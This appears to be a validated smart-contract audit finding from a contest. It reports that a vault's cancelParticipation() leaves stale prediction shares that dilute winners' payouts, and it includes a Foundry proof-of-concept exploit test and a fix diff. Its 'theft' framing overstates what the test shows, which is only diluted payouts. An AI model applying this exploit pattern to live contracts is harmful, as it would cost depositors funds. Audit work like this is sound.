BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

[H-2] `briVault::cancelParticipation()` Does Not Clear Country Predictions, Enabling Theft via Diluted Payouts

[H-2] briVault::cancelParticipation() Does Not Clear Country Predictions, Enabling Theft via Diluted Payouts

Description

When users call `cancelParticipation()`, their deposited assets and vault shares are properly refunded/burned, but their country prediction shares (`userSharesToCountry`) remain set. This creates "ghost predictions" that
1. Are counted in `_getWinnerShares()` when calculating `totalWinnerShares`
2. Dilute legitimate winners' payouts
3. Allow cancelled users to steal funds from winners
```solidity
function cancelParticipation () public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
uint256 refundAmount = stakedAsset[msg.sender];
stakedAsset[msg.sender] = 0;
uint256 shares = balanceOf(msg.sender);
// i think the burn should come before the external call
_burn(msg.sender, shares);
// q this does not follow CEI possible bug here
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}
function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}
```

Risk

Likelihood:

  • The bug directly leaves stale state that still counts toward payout math, so an attacker can repeatedly join/cancel (or create many accounts) to inflate participant counts and dilute honest winners.


  • Exploitation requires no complex on-chain conditions or oracle manipulation — just the ability to call cancelParticipation() and re-enter or spin up accounts.

  • Common in practice when developers forget to zero mappings/arrays or decrement counters.

Impact:

**Direct theft of 50% of prize pool per cancelled user:**
- Attacker deposits and predicts winning country
- Attacker cancels and gets full refund
- Winner's payout is diluted by attacker's ghost shares
- Attacker profits from "free bet" that steals from winners
**Mathematical proof:**
```
Vault assets: 985 tokens (only winner's deposit)
Total winner shares: 1970 (winner + attacker's ghost)
Winner payout: 985 × (985/1970) = 492.5 tokens
Winner loses: 492.5 tokens (50% stolen!)
```

Proof of Concept

Attacker refund: 985 tokens (full refund received)
Attacker ghost shares: 985 (NOT cleared!)
Total winner shares: 1970 (includes ghost)
Vault assets: 985 (only legitimate deposit)
Winner payout: 492.5 (HALF of what they deserve)
Stolen amount: 492.5 tokens per cancelled attacker
Full test output shows:
- Attacker successfully gets refund
- Ghost shares remain in `userSharesToCountry`
- `totalWinnerShares` inflated by ghost shares
- Winner receives diluted payout
<details>
<summary>Proof Of Code</summary>
```solidity
function test_CancelledUserCanStillWinExploit() public {
vm.prank(owner);
briVault.setCountry(countries);
// Get event times
uint256 eventStart = briVault.eventStartDate();
uint256 eventEnd = briVault.eventEndDate();
console.log("Event start:", eventStart);
console.log("Event end:", eventEnd);
// WARP TO A SAFE TIME BEFORE EVENT (use absolute time)
vm.warp(1 days); // Safe early time
uint256 depositAmount = 1000e18;
// ATTACKER deposits and joins
vm.startPrank(attacker);
mockToken.mint(attacker, depositAmount);
mockToken.approve(address(briVault), depositAmount);
briVault.deposit(depositAmount, attacker);
briVault.joinEvent(10);
vm.stopPrank();
console.log("Attacker country shares:", briVault.userSharesToCountry(attacker, 10));
console.log("Attacker vault shares:", briVault.balanceOf(attacker));
// LEGITIMATE USER deposits and joins
vm.startPrank(user1);
mockToken.mint(user1, depositAmount);
mockToken.approve(address(briVault), depositAmount);
briVault.deposit(depositAmount, user1);
briVault.joinEvent(10);
vm.stopPrank();
console.log("User1 country shares:", briVault.userSharesToCountry(user1, 10));
// ATTACKER cancels
vm.prank(attacker);
briVault.cancelParticipation();
console.log("Attacker refund balance:", mockToken.balanceOf(attacker));
console.log("Attacker vault shares:", briVault.balanceOf(attacker));
console.log("Attacker country shares (SHOULD BE 0):", briVault.userSharesToCountry(attacker, 10));
// Warp to after event ends
vm.warp(eventEnd + 1 days);
// Owner sets winner
vm.prank(owner);
briVault.setWinner(10);
console.log("Total winner shares:", briVault.totalWinnerShares());
console.log("Finalized vault assets:", briVault.finalizedVaultAsset());
// User1 withdraws
uint256 user1BalanceBefore = mockToken.balanceOf(user1);
vm.prank(user1);
briVault.withdraw();
uint256 user1BalanceAfter = mockToken.balanceOf(user1);
console.log("User1 balance before:", user1BalanceBefore);
console.log("User1 balance after:", user1BalanceAfter);
console.log("User1 received:", user1BalanceAfter - user1BalanceBefore);
// PROOF OF BUG
uint256 attackerGhostShares = briVault.userSharesToCountry(attacker, 10);
assertGt(mockToken.balanceOf(attacker), 0, "Attacker got refund");
assertGt(attackerGhostShares, 0, "Attacker still has ghost shares");
}
```
</details>

Recommended Mitigation

- remove this code
+ add this code
Clear ALL user state on cancellation:
```diff
// Add to contract:
+ event ParticipationCancelled(address indexed user, uint256 refundAmount);
function cancelParticipation() public {
if (block.timestamp >= eventStartDate){
revert eventStarted();
}
+ uint256 refundAmount = stakedAsset[msg.sender];
+ require(refundAmount > 0, "Nothing to cancel");
stakedAsset[msg.sender] = 0;
+ for (uint256 i = 0; i < teams.length; i++) {
+ if (userSharesToCountry[msg.sender][i] > 0) {
+ totalParticipantShares -= userSharesToCountry[msg.sender][i];
+ userSharesToCountry[msg.sender][i] = 0;
+ }
+ }
+ delete userToCountry[msg.sender];
+ if (numberOfParticipants > 0) {
+ numberOfParticipants--;
+ }
uint256 shares = balanceOf(msg.sender);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, refundAmount);
+ emit ParticipationCancelled(msg.sender, refundAmount);
}
```
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

`cancelParticipation` Leaves Stale Winner Data

CancelParticipation burns shares but leaves the address inside usersAddress and keeps userSharesToCountry populated.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!